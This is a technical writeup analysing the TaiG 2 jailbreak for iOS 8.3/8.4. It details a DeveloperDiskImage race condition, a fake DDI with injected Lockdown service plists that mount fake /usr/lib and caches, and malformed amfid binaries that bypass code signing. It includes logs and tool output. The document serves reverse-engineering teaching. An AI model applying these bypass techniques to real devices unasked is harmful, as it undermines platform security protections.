28 Days Later* - TaiG 2 (Part the 1st)

Jonathan Levin, http://newosxbook.com/ @Technologeeks - 7/23/15

Changelog

Prelude: About

The TaiG Jailbreak for 8.3 and 8.4 came out of the blue, entirely unannounced, almost a month ago. During that time, there has been no public documentation about how it actually works. I plan to discuss this jailbreak at length in Technologeeks' upcoming OSX/iOS Internals for Reverse Enginners training, as it makes a perfect case study. There is no monopoly on knowledge, however, so - in what might become a tradition (after my previous writeup on the 8.1.2 jailbreak) - I decided to post a writeup here. This will also make it to the 2nd edition of MOXiI, which covers jailbreaks in a dedicated chapter.

I'm posting this because Apple is readying 8.4.1b, which along with "performance improvements" to Apple Music it will likely snuff the really clever 0-days used by TaiG - and I'm certain that these will be gone forever by iOS 9... As we've said before, I'll say again - it would have made sense to wait with the JailBreak for iOS 9. While I disagree with TaiG's haste, I guess brilliance cannot be contained. Update to 8.3/8.4 before the ticket window closes..

Tools used

I've made extensive use of my own jtool for the purposes of static analysis on Taig's binary. jtool is fast approaching its 1.0 release, and my ARM64 support is almost entirely complete (I gave up on ARM32 down the road since writing your own disassembler for both ARM and THUMB is just painful). Following my previous writeups I added a --html option to automatically produce colorized and hyperlinked output. Another important feature is that of a companion file. At some point I hope to support DWARF, but for now it's a simple textual file formatted as address:label:comments, with a few limitations (i.e. must be sorted, function labels start with a '_'). This made it easy to augment jtool's already pretty useful symbolication skills. If you want the companion file to use with it as you go along, you can find that in the downloads, below.

Static analysis, though, has its limitations, particularly in figuring out runtime derived data. So where jtool inevitably faltered, I opted to use dynamic analysis, with a debugger. The debugger of (only) choice is, of course, lldb, which can be found in the DeveloperDiskImage, and massaged to debug any binaries by re-signing debugserver with the proper entitlements.

For runtime statistics and process tracking I use my own tools:

Downloads

If you want to follow along, there is no time like the present. Since 8.4.1 is not out yet, 8.4 (and 8.3, possibly?) is still within AAPL's signing window, so you can get the binaries onto your device and do this as a rolling exercise. Worst that can happen if you lose the jailbreak, is that you can re-jailbreak and restore to 8.4. An unpleasant, yet doable process.

Grab a copy of the files from right here. The tgz includes the DMGs and trojan files (not the untether - I cover that later). You can get my tools from various places in this site, so that should be easy. Make use you're using the latest version of JTool, because otherwise earlier versions (as well as other tools) will crash on the Taig messed up binaries!

I. Getting on the device

The TaiG2 jailbreak is remarkably similar to the original TaiG. In particular, the method used to get on the device initially (TaiG's 20-40%) is the tried and true DevelopDiskImage race condition, which I've discussed in the first part of the previous version's writeup. What makes the DeveloperDiskImage (DDI) so darn attractive is the "right mix", namely:

The Race Condition

A nice feature of TaiG is that it allows you to try the jailbreak even if the device has already been previously jailbroken. That's useful, in that one can get a tool like filemon. The volume of filesystem activity is such that fsevents drops a few events here and there, but the gist of it can be clearly seen (excuse the overflow of the dirnames below - the UUID names are a mile long):

Pademonum:~ root# filemon
..
  277 	Stat changed  /private/var/mobile/Media/Books/Purchases/mload	
  277 	Renamed  /private/var/mobile/Media/PhotoData/Links/mload/l1	/private/var/run/mobile_image_mounter 
  277 	Chowned  /private/var/mobile/Media/Books/Purchases/mload	
  277 	Chowned  /private/var/mobile/Media/Books/Purchases/mload	
  256 afcd	Deleted  /private/var/mobile/Media/Books/Purchases/mload	
  256 afcd	Created dir  /private/var/mobile/Media/Books/Purchases/mload	
  256 afcd	Created dir  /private/var/mobile/Media/Books/Purchases/mload/6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d	
  256 afcd	Created dir  /private/var/mobile/Media/Books/Purchases/mload/6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d/909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39f35e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369	
  256 afcd	Created  /private/var/mobile/Media/Books/Purchases/mload/input	
  256 afcd	Modified  /private/var/mobile/Media/Books/Purchases/mload/input	
  278 mobile_storage_p	Created  /private/var/mobile/Media/Books/Purchases/mload/6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d/909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39f35e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369/leShp0.dmg	
  278 mobile_storage_p	Modified  /private/var/mobile/Media/Books/Purchases/mload/6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d/909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39f35e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369/leShp0.dmg	
  256 afcd	Renamed  /private/var/mobile/Media/Books/Purchases/mload/6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d/909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39f35e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369/leShp0.dmg	/private/var/mobile/Media/Books/Purchases/mload/input2 
  256 afcd	Renamed  /private/var/mobile/Media/Books/Purchases/mload/input	/private/var/mobile/Media/Books/Purchases/mload/6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d/909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39f35e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369/leShp0.dmg 
  279 MobileStorageMou	Deleted  /private/var/mobile/Media/Books/Purchases/mload/6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d/909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39f35e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369/leShp0.dmg	
  279 MobileStorageMou	Deleted  /private/var/run/mobile_image_mounter	
  278 mobile_storage_p	Modified  /private/var/mobile/Library/Logs/Device-O-Matic/com.apple.mobile.storage_proxy.log.0	
..
  256 afcd	Deleted  /private/var/mobile/Media/Books/Purchases/mload/input2	
 ...
  315 BackupAgent	Stat changed  /private/var/mobile/Media/PhotoData/Links/var	
  315 BackupAgent	Created dir  /private/var/.backup.i/var/mobile/Media	
  315 BackupAgent	Created dir  /private/var/.backup.i/var/mobile/Media/PhotoData	
  315 BackupAgent	Renamed  /private/var/mobile/Media/PhotoData/Links/c/c/c/c/c/c/l121	/private/var/.backup.i/var/mobile/Media/PhotoData/c 

Those links in c/c/c/c/c/c are all symbolic links to /var

Pademonium:~ root# ls -l  /private/var/mobile/Media/PhotoData/Links/c/c/c/c/c/c
total 736
lrwxr-xr-x  1 mobile  mobile  21 Jul 18 12:09 l108 -> ../../../../../../var
lrwxr-xr-x  1 mobile  mobile  21 Jul 18 12:09 l109 -> ../../../../../../var
lrwxr-xr-x  1 mobile  mobile  21 Jul 18 12:09 l110 -> ../../../../../../var
lrwxr-xr-x  1 mobile  mobile  21 Jul 18 12:09 l111 -> ../../../../../../var
lrwxr-xr-x  1 mobile  mobile  21 Jul 18 12:09 l112 -> ../../../../../../var

And if you catch the DMG while the jailbreak is in action (a little bit tricky since it keeps getting deleted), you will see:

Pademonium:/var/mobile/Media/Books/Purchases/mload root# ls -R
total 760
drwxr-xr-x  3 mobile  mobile     102 Jul 18 11:35 6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d
-rw-r--r--  1 mobile  mobile  385158 Jul 18 11:35 input # the FAKE DDI

./6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d:
total 0
drwxr-xr-x  2 mobile  mobile  102 Jul 18 11:35 909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39f35e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369

./6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d/909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39f35e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369:
total 10144
-rw-------  1 root  mobile  5192086 Jul 18 11:35 mlja6L.dmg # The REAL DDI

And of course, we have a symlink from mobile_image_mounter to us:

Pademonium:/var/mobile/Media/Books/Purchases/mload root# ls -l /var/run
total 32
..
lrwxr-xr-x  1 mobile  mobile    39 Jul 18 11:29 mobile_image_mounter -> /var/mobile/Media/Books/Purchases/mload

If you're reading this and getting a deja vu - no, I didn't cut/paste from the previous writeup - these are results from a real device. But it's the exact same method. I may have said this before, but since nobody heard it the first time(s) - Learn from history or be condemned to repeat it. And repeat it. And repeat it. In fact, TaiG repeats it twice.. Not one but two Disk Images this time.

DDI(s)

Once mounted, the fake DDI (input.dmg in the download bundle) looks like so:

Pademonium:~ root# ls -lR /Developer
total 48
-rw-r--r--@ 1 mobile  staff  21508 Jul  2 11:40 .DS_Store
d-wx-wx-wt@ 2 mobile  staff     68 Jul  2 11:40 .Trashes
drwx------  5 mobile  staff    170 Jul  2 11:41 .fseventsd
drwxrwxrwx  4 mobile  staff    136 Oct 12  2014 Library
drwxrwxrwx  6 mobile  staff    204 Oct 22  2014 bin
drwxrwxrwx  6 mobile  staff    204 Jul  2 11:39 setup

/Developer/.Trashes:

/Developer/.fseventsd:
total 24
-rw-------  1 mobile  staff  801 Jul  2 11:41 00000000657910eb
-rw-------  1 mobile  staff   71 Jul  2 11:41 00000000657910ec
-rw-------  1 mobile  staff   36 Jul  2 11:41 fseventsd-uuid

/Developer/Library:
total 32
-rwxrwxrwx@ 1 mobile  staff  12292 Dec 30  2014 .DS_Store
drwxrwxrwx  4 mobile  staff    136 Nov 28  2013 Lockdown

/Developer/Library/Lockdown:
total 32
-rwxrwxrwx@  1 mobile  staff  15364 Jun 18 22:33 .DS_Store
drwxrwxrwx  30 mobile  staff   1020 Jun 18 22:33 ServiceAgents

/Developer/Library/Lockdown/ServiceAgents:
total 232
-rwxrwxrwx@ 1 mobile  staff  6148 Nov  6  2014 .DS_Store
-rwxrwxrwx@ 1 mobile  staff   596 Jun 16 02:58 com.apple.exec_dyld.plist
-rwxrwxrwx@ 1 mobile  staff   614 Dec 23  2014 com.apple.exec_patch_1.plist
-rwxrwxrwx@ 1 mobile  staff   614 Dec 23  2014 com.apple.exec_patch_2.plist
-rwxrwxrwx@ 1 mobile  staff   604 Nov  6  2014 com.apple.exec_s.plist
-rwxrwxrwx@ 1 mobile  staff   604 Nov  6  2014 com.apple.exec_u.plist
-rwxrwxrwx@ 1 mobile  staff   656 Dec  3  2013 com.apple.load_amfi.plist
-rwxrwxrwx@ 1 mobile  staff   809 Sep 29  2014 com.apple.mount_cache_1.plist
-rwxrwxrwx@ 1 mobile  staff   809 Sep 29  2014 com.apple.mount_cache_2.plist
-rwxrwxrwx@ 1 mobile  staff   809 Sep 29  2014 com.apple.mount_cache_3.plist
-rwxrwxrwx@ 1 mobile  staff   809 Sep 29  2014 com.apple.mount_cache_4.plist
-rwxrwxrwx@ 1 mobile  staff   809 Sep 29  2014 com.apple.mount_cache_5.plist
-rwxrwxrwx@ 1 mobile  staff   809 Dec  1  2014 com.apple.mount_cache_6.plist
-rwxrwxrwx@ 1 mobile  staff   809 Dec  1  2014 com.apple.mount_cache_7.plist
-rwxrwxrwx@ 1 mobile  staff   809 Dec  1  2014 com.apple.mount_cache_8.plist
-rwxrwxrwx@ 1 mobile  staff   793 Sep 29  2014 com.apple.mount_lib_1.plist
-rwxrwxrwx@ 1 mobile  staff   793 Sep 29  2014 com.apple.mount_lib_2.plist
-rwxrwxrwx@ 1 mobile  staff   793 Sep 29  2014 com.apple.mount_lib_3.plist
-rwxrwxrwx@ 1 mobile  staff   793 Sep 29  2014 com.apple.mount_lib_4.plist
-rwxrwxrwx@ 1 mobile  staff   793 Sep 29  2014 com.apple.mount_lib_5.plist
-rwxrwxrwx@ 1 mobile  staff   793 Dec  1  2014 com.apple.mount_lib_6.plist
-rwxrwxrwx@ 1 mobile  staff   793 Dec  1  2014 com.apple.mount_lib_7.plist
-rwxrwxrwx@ 1 mobile  staff   793 Dec  1  2014 com.apple.mount_lib_8.plist
-rwxrwxrwx@ 1 mobile  staff   624 Dec  3  2013 com.apple.remove_amfi.plist
-rwxrwxrwx@ 1 mobile  staff   602 Dec  4  2013 com.apple.umount_cache.plist
-rwxrwxrwx@ 1 mobile  staff   586 Dec  4  2013 com.apple.umount_lib.plist
-rwxrwxrwx@ 1 mobile  staff   546 Jul 11  2014 com.apple.unload_assetsd.plist
-rwxrwxrwx@ 1 mobile  staff   556 Jun  4  2014 com.apple.unload_itunesstored.plist

/Developer/bin:
total 1112
-rwxrwxrwx@ 1 mobile  staff    6148 Oct 21  2014 .DS_Store
-rwxrwxrwx  1 mobile  staff   24928 Oct 13  2014 afcd2
-rwxrwxrwx  1 mobile  staff  324672 Dec  1  2013 tar
-rwxrwxrwx  1 mobile  staff  202272 Dec  3  2013 unmount64

/Developer/setup:
total 704
-rwxrwxrwx@ 1 mobile  staff    6148 Feb 13 01:10 .DS_Store
-rwxrwxrwx@ 1 mobile  staff     488 Oct 22  2014 com.taig.untether.plist
-rwxrwxrwx@ 1 mobile  staff   32629 Oct 21  2014 lockdown_patch.dmg
-rwxrwxrwx  1 mobile  staff  312784 Jul  2 11:39 taig

Note the multitude of lockdown agents there. At 40%-60%, another DDI is inserted but not mounted (yet) this time packed with pure goodness - a fake lib (slice 2) and Caches (slice 3). The launchagents for com.apple.mount_lib_[1..8] and com.apple_mount_cache_[1..8] can then be called. Why so many? because they are essentially the same, trying to mount the two slices over /usr/lib and /System/Library/Caches, respectively. For example, com.apple.mount_lib_1.plist looks like:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>AllowUnauthenticatedServices</key>
	<true/>
	<key>EnvironmentVariables</key>
	<dict>
		<key>LAUNCHD_SOCKET</key>
		<string>/private/var/tmp/launchd/sock</string>
		<key>PATH</key>
		<string>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</string>
	</dict>
	<key>Label</key>
	<string>com.apple.mount_lib_1</string>
	<key>ProgramArguments</key>
	<array>
		<string>/sbin/mount</string>
		<string>-t</string>
		<string>hfs</string>
		<string>-o</string>
		<string>ro</string>
		<string>/dev/disk1s2</string> <! -- in mount_lib_#.plist this is disk#s2 !--> 
		<string>/usr/lib</string>
	</array>
	<key>UserName</key>
	<string>root</string>
</dict>
</plist>

(com.apple.mount_cache_#.plist is defined similarly, with disk#s3)

When the service agents have run, one of them will get the right disk (BSD device) number, and as a result the slices (partitions of the DMG) will be mounted... right over /usr/lib and /System/Library/Caches)

Pademonium:/var/mobile/Media/Purchases root# df
Filesystem     1K-blocks    Used Available Use% Mounted on
/dev/disk0s1s1   3042524 2313552    698548  77% /
devfs                 56      56         0 100% /dev
/dev/disk0s1s2  27923236 6222452  21700784  23% /private/var
/dev/disk5         40000    2556     37444   7% /Developer
/dev/disk4s3        9724    2452      7272  26% /System/Library/Caches
/dev/disk4s2       19532    3448     16084  18% /usr/lib
# And note /usr/lib, in particular:
Pademonium:/var/mobile/Media/Purchases root# ls -l /usr/lib
total 208
-rw-r--r--@  1 mobile  staff   6148 Jun 30 12:21 .DS_Store
d-wx-wx-wt@  2 mobile  staff     68 Jun 30 12:21 .Trashes
drwx------   5 mobile  staff    170 Jun 30 12:21 .fseventsd
drwxrwxrwx   2 mobile  staff     68 Jun  7 23:14 64_arm64_8.4_12H143
-rwxrwxrwx   1 mobile  staff   3908 Jun 30 11:30 FDRSealingMap.plist
drwxrwxrwx  25 mobile  staff    850 Jun 30 12:16 StandardDMCFiles
lrwxr-xr-x   1 mobile  staff     32 Jun 16 01:31 dyld -> /var/mobile/Media/install/file_d
lrwxr-xr-x   1 mobile  staff     21 Oct  9  2014 libDHCPServer.dylib -> libDHCPServer.A.dylib
lrwxr-xr-x   1 mobile  staff     16 Nov 28  2013 libMatch.dylib -> libMatch.1.dylib
lrwxr-xr-x   1 mobile  staff     16 Nov 28  2013 libexslt.dylib -> libexslt.0.dylib
-rwxrwxrwx   1 mobile  staff  67164 Jun  7 23:15 libmis.dylib
lrwxr-xr-x   1 mobile  staff     18 Oct  9  2014 libsandbox.dylib -> libsandbox.1.dylib
lrwxr-xr-x   1 mobile  staff     17 Jun  5  2014 libstdc++.dylib -> libstdc++.6.dylib
drwxrwxrwx   3 mobile  staff    102 Jun 30 12:16 system
drwxrwxrwx   3 mobile  staff    102 Jun 30 12:16 xpc
Pademonium:/var/mobile/Media/Purchases root# ls -l /System/Library/Caches/com.apple.dyld/
total 16
-rwxrwxrwx@ 1 mobile  staff  6148 Dec  3  2013 .DS_Store
-rwxrwxrwx  1 mobile  staff     0 Nov 29  2013 enable-dylibs-to-override-cache # Hello, Old Friend!  :-)

It takes both the filesystems to make the magic happen: The /Caches hides the real /System/Library/Caches underneath it and "creates" /System/Library/Caches/com.apple.dyld/enable-dylibs-to-override-cache - the well known hard coded fault into dyld without which jailbreaks would have been immeasurably harder. Because the file exists, dyld can be cajoled to ignore the shared library caches - and look through frameworks and libraries on disk.

This is where the second filesystem - the fake /usr/lib - comes into play. It contains the (by now) usual libmis.dylib which redirects the MISValidate logic of the despicable AMFId to always return true. This time, however, there's a new dyld replacement - linked to /var/mobile/Media/install/file_d.

Meanwhile, in /var/mobile/Media/install..

While all the action was on the race condition, the loader program also dropped a few more files in /var/mobile/Media/install:

...
  274 BackupAgent	Chowned  /private/var	
  274 BackupAgent	Chowned  /private/var	
  274 BackupAgent	Created  /private/var/tmp/RestoreFile.plist	
  274 BackupAgent	Modified  /private/var/tmp/RestoreFile.plist	
  274 BackupAgent	Created dir  /private/var/mobile/Media/install	
  274 BackupAgent	Renamed  /private/var/tmp/RestoreFile.plist	/private/var/mobile/Media/install/file_c 
  274 BackupAgent	Chowned  /private/var/mobile/Media/install/file_c	
  274 BackupAgent	Chowned  /private/var/mobile/Media/install/file_c	
  274 BackupAgent	Created  /private/var/tmp/RestoreFile.plist	
  274 BackupAgent	Modified  /private/var/tmp/RestoreFile.plist	
  274 BackupAgent	Renamed  /private/var/tmp/RestoreFile.plist	/private/var/mobile/Media/install/file_d 
  274 BackupAgent	Chowned  /private/var/mobile/Media/install/file_d	
  274 BackupAgent	Chowned  /private/var/mobile/Media/install/file_d	
  274 BackupAgent	Created  /private/var/tmp/RestoreFile.plist	
  274 BackupAgent	Modified  /private/var/tmp/RestoreFile.plist	
  274 BackupAgent	Renamed  /private/var/tmp/RestoreFile.plist	/private/var/mobile/Media/install/file_a 
  274 BackupAgent	Chowned  /private/var/mobile/Media/install/file_a	
  274 BackupAgent	Chowned  /private/var/mobile/Media/install/file_a	
  274 BackupAgent	Created  /private/var/tmp/RestoreFile.plist	
  274 BackupAgent	Modified  /private/var/tmp/RestoreFile.plist	
  274 	Renamed  /private/var/tmp/RestoreFile.plist	/private/var/mobile/Media/install/file_l 
  274 	Chowned  /private/var/mobile/Media/install/file_l	
  274 	Chowned  /private/var/mobile/Media/install/file_l	
..

So what have we here? It's easier to figure out who's who by looking at a device once it's jailbroken fully:

Pademonium:/var/mobile/Media/install root# ls -l
total 2608
-rwxr-xr-x  1 mobile  mobile  114688 Jul 18 12:34 file_a
-rwxr-xr-x  1 mobile  mobile  573440 Jul 18 12:34 file_c
-rwxr-xr-x  1 mobile  mobile  573440 Jul 18 12:34 file_d
-rwxr-xr-x  1 mobile  mobile     232 Jul 18 12:34 file_l
-rw-r--r--  1 root    mobile   67164 Jul 18 12:34 libmis.dylib
Pademonium:/var/mobile/Media/install root# ls -ltr /usr/libexec/
-rwxr-xr-x  1 root  wheel     93792 Jun 25 05:56 webinspectord 
# June 25th (above) was when iOS 8.4 files were built. Anything from here is trojan
-rwxr-xr-x  1 root  wheel    114688 Jul 16 13:19 amfid
lrwxr-xr-x  1 root  wheel        20 Jul 16 13:19 FinishRestoreFromBackup -> /usr/libexec/amfid_d
lrwxr-xr-x  1 root  wheel        10 Jul 16 13:19 CrashHousekeeping -> /taig/taig
-rwxr-xr-x  1 root  wheel    816720 Jul 16 13:19 installd
drwxr-xr-x  2 root  wheel       170 Jul 16 13:19 gnupg
drwxr-xr-x  2 root  wheel       408 Jul 16 13:19 cydia  
-rwxr-xr-x  1 root  wheel       232 Jul 16 16:28 amfid_l
-rwxr-xr-x  1 root  wheel    573440 Jul 16 16:28 amfid_d
Pademonium:/var/mobile/Media/install root# md5 file* libmi* /usr/lib/libmis.dylib /usr/libexec/amfi*
MD5 (file_a) = 5795fd0cec4de3e4115d2e6c6f25b5d9 --------------------------+
MD5 (file_c) = a66c03fccd7167d72e50a9288a0c4f2c ------------------------+ | 
MD5 (file_d) = cf64ee4ce4f1bae7f63bc48004bb7d08   (not copied)          | |
MD5 (file_l) = 43831eba594e3cf2c3b0fc134f6143a7 ----------------------+ | |
MD5 (libmis.dylib) = 73ad8b5b764e1aa8cbccafa3439ce59d                 | | |
MD5 (/usr/lib/libmis.dylib) = 73ad8b5b764e1aa8cbccafa3439ce59d        | | |
MD5 (/usr/libexec/amfid_0) = 0e3adde87dd1031c3cdfccfdf1462b93  (orig) | | |
MD5 (/usr/libexec/amfid_l) = 43831eba594e3cf2c3b0fc134f6143a7     <---+ | |
MD5 (/usr/libexec/amfid_d) = a66c03fccd7167d72e50a9288a0c4f2c     <-----+ |
MD5 (/usr/libexec/amfid) = 5795fd0cec4de3e4115d2e6c6f25b5d9       <-------+

The taig binary, once run with the "-s" switch (for setup, as started by the com.apple.exec_s.plist injected Lockdown service), performs the deployment of these files (in function 0x10000a3b4, called from 0x10000a928, called from 0x10000be6c in the main, right after / is remounted writable).

Note: I'll cover the untether with full disassembly/partial decompilation, in a follow up. This part is already getting long, and there's still code signing to cover..

As you can see,taig replaces not just libmis.dylib, but amfid, and - initially - dyld (which was the file_d), which - while not copied, is used before amfid gets replaced! To get past code signing, they pull off an awesome trick, discussed next.

II. Bypassing code signing

(and the really bright exploit)

Just replacing libmis.dylib won't work anymore since Apple patched almost all the overlapping segments (I've discussed those in an RSA 2015 talk in the wee hours of the morning). Overwriting amfid itself will fail since it can only be replaced with another file whose CDHash is in the kernel trust cache. And we can't patch the kernel at this stage, nor we can do a permanent patch on disk (since it would violate the APTicket).

So what is this trojan amfid? jtool reveals:

Pademonium:/var/mobile/Media/install root# jtool -l /usr/libexec/amfid
Fat binary, big-endian,  27 architectures: arm64, 0x0/0x0This is not a Mach-O 64-bit file. Sorry (Magic: bebafeca)
Pademonium:/var/mobile/Media/install root# jtool -f /usr/libexec/amfid

Fat headers
fat_magic 0xcafebabe
architecture 0
    cputype 16777228 CPU_TYPE_ARM64
    cpusubtype 1     CPU_SUBTYPE_ARM64_V8
    offset 16384
    size 81920
    align 2^0 (1)
# another 25 empty architectures
architecture 1
    cputype 0
    cpusubtype 0
    offset 0
    size 0
    align 2^0 (1)
...
architecture 26
    cputype 16777228 CPU_TYPE_ARM64
    cpusubtype 1     CPU_SUBTYPE_ARM64_V8
    offset 32768
    size 65536
    align 2^0 (1)

So many things here are wrong! Consider:

But, XNU, your friendly kernel, just aims to please. So, what the heck. Let's load these anyway. This is where it gets even more interesting: Using jtool -arch # (a switch I had to add because of Taig :-), you can see specific architectures in a fat binary, by number. And so:

Pademonium:~ root# jtool -arch 0  -l  /usr/libexec/amfid
LC 00: LC_CODE_SIGNATURE     	Offset: 37120, Size: 368 (0x9100-0x9270) 

Pademonium:~ root# jtool -arch 26  -l -v  /usr/libexec/amfid

LC 00: LC_SEGMENT_64          Mem: 0x000000000-0x100000000	File: Not Mapped	---/---	__PAGEZERO
LC 01: Unknown (0x0)         (unhandled - drop J a bug report, please!)
LC 02: LC_SEGMENT_64          Mem: 0x100008000-0x100008000	File: Not Mapped	rw-/rw-	__DATA
	Mem: 0x100004000-0x100004088	File: 0x00004000-0x00004088		__DATA.__got	(Non-Lazy Symbol Ptrs)
	Mem: 0x100004088-0x1000041d0	File: 0x00004088-0x000041d0		__DATA.__la_symbol_ptr	(Lazy Symbol Ptrs)
	Mem: 0x1000041d0-0x100004240	File: 0x000041d0-0x00004240		__DATA.__const	
	Mem: 0x100004240-0x100004260	File: 0x00004240-0x00004260		__DATA.__cfstring	
LC 03: LC_SEGMENT_64          Mem: 0x100008000-0x100008000	File: Not Mapped	rw-/rw-	__RESTRICT
	Mem: 0x100008000-0x100008000	File: 0x00008000-0x00008000		__RESTRICT.__restrict	
LC 04: LC_SEGMENT_64          Mem: 0x100008000-0x10000a000	File: 0x4000-0x5270	r--/r--	__LINKEDIT
LC 05: LC_DYLD_INFO          
	   Rebase info: 16    bytes at offset 32768 (0x8000-0x8010)
	   Bind info:   472   bytes at offset 32784 (0x8010-0x81e8)
	   Lazy info:   1120  bytes at offset 33256 (0x81e8-0x8648)
	No Weak info
	   Export info: 32    bytes at offset 34376 (0x8648-0x8668)
LC 06: LC_SYMTAB             
	Symbol table is at offset 0x86b0 (34480), 60 entries
	String table is at offset 0x8bfc (35836), 1272 bytes
LC 07: LC_DYSYMTAB           
	    1 local symbols at index     0
	    1 external symbols at index  1
	   58 undefined symbols at index 2
	   No TOC
	   No modtab
	   99 Indirect symbols at offset 0x8a70

LC 08: Unknown (0x0)         (unhandled - drop J a bug report, please!)
		00 00 00 00 20 00 00 00 0C 00 00 00 2F 75 73 72 
		2F 6C 69 62 2F 64 79 6C 64 00 00 00 00 00 00 00 
LC 09: LC_UUID               	UUID: E4115724-159F-3261-B706-1999D101136F
LC 10: LC_VERSION_MIN_IPHONEOS	Minimum iOS  version:    8.4.0
LC 11: LC_SOURCE_VERSION     	Source Version:          134.5.2.0.0
LC 12: LC_MAIN               	Entry Point:             0x3394 (Mem: 0)
LC 13: LC_LOAD_DYLIB         	/usr/lib/libmis.dylib (compatibility ver: 1.0.0, current ver: 1.0.0)
LC 14: LC_LOAD_DYLIB         	/usr/lib/libMobileGestalt.dylib (compatibility ver: 1.0.0, current ver: 1.0.0)
LC 15: LC_LOAD_DYLIB         	/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit (compatibility ver: 1.0.0, current ver: 275.0.0)
LC 16: LC_LOAD_DYLIB         	/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation (compatibility ver: 150.0.0, current ver: 1145.15.0)
LC 17: LC_LOAD_DYLIB         	/usr/lib/libSystem.B.dylib (compatibility ver: 1.0.0, current ver: 1214.5.1)
Unnable to get __TEXT segment
LC 18: LC_FUNCTION_STARTS    	Offset: 34408, Size: 16 (0x8668-0x8678) LC 19: LC_DATA_IN_CODE       	Offset: 34424, Size: 0 (0x8678-0x8678) 
LC 20: LC_DYLIB_CODE_SIGN_DRS	Offset: 34424, Size: 56 (0x8678-0x86b0) 
Magic: 1301 (Unknown/Unhandled: Please tell J)
LC 21: Unknown (0x0)         (unhandled - drop J a bug report, please!)
		00 00 00 00 10 00 00 00 00 91 00 00 70 01 00 00 
LC 22: LC_LOAD_DYLINKER      	/usr/libexec/amfid_d
LC 23: LC_SEGMENT_64          Mem: 0x100000000-0x100004000	File: 0x8000-0xc000	r-x/r-x	__TEXT_FAKE
LC 24: LC_SEGMENT_64          Mem: 0x100004000-0x100008000	File: 0xc000-0x10000	rw-/rw-	__DATA_FAKE
LC 25: LC_SEGMENT_64          Mem: 0x10000c000-0x100010000	File: 0x0-0x4000	r--/r--	__HDR_FAKE

So once more, fake segments (right at the end there). But also a file containing just a code signature(!) and another containing an empty segment (__DATA) which nonethless contains sections, and then some unknown load commands.jtool now dumps unknown load commands as raw bytes, and you can see where one would expect an LC_LOAD_DYLINKER, there's a blob - the ASCII in which reads .../usr/lib/dyld. Though the dylinker of choice is /usr/libexec/amfid_d, down below. Note this is exploiting a decades old bug/feature from back in NeXTSTEP allowing a program to state its dylinker. (One would think Apple would solve this trivially by hardcoding the choice, at least in iOS..)

The /usr/libexec/amfid_d is another messed up binary with 28 or so architectures, again with the same setup: two binaries (ARMv7s = 0 and ARM64 = 1), their detached signatures (ARMv7s = 26 and ARM64 = 27) and 24 empty architectures (0/0) in between - similar to amfid. This is also similar to /var/mobile/Media/install/file_d, which is used to bootstrap taig before it can install the libraries permanently.

With the binaries so obviously malformed, Apple's lipo(1) tool cowardly refuses to deal with them (since FAT binaries aren't allowed to contain two instances of the same architecture). I therefore extended the jtool to handle architectures by number as well as type, and enabled the -extract feature to also handle architectures. So we can look inside that __TEXT_FAKE - it maps to the file's 0x8000, so we can use :

Phontifex:/tmp root# cp /usr/libexec/amfid ./amfid
Phontifex:/tmp root# jtool -arch 26 -extract arch ./amfid
Selected architecture (26) starts at 32768 and spans 65536 bytes - written to ./amfid.arch_26
# Extract from 0x8000 (could also use jtool -e here, but I want to extract to EOF)
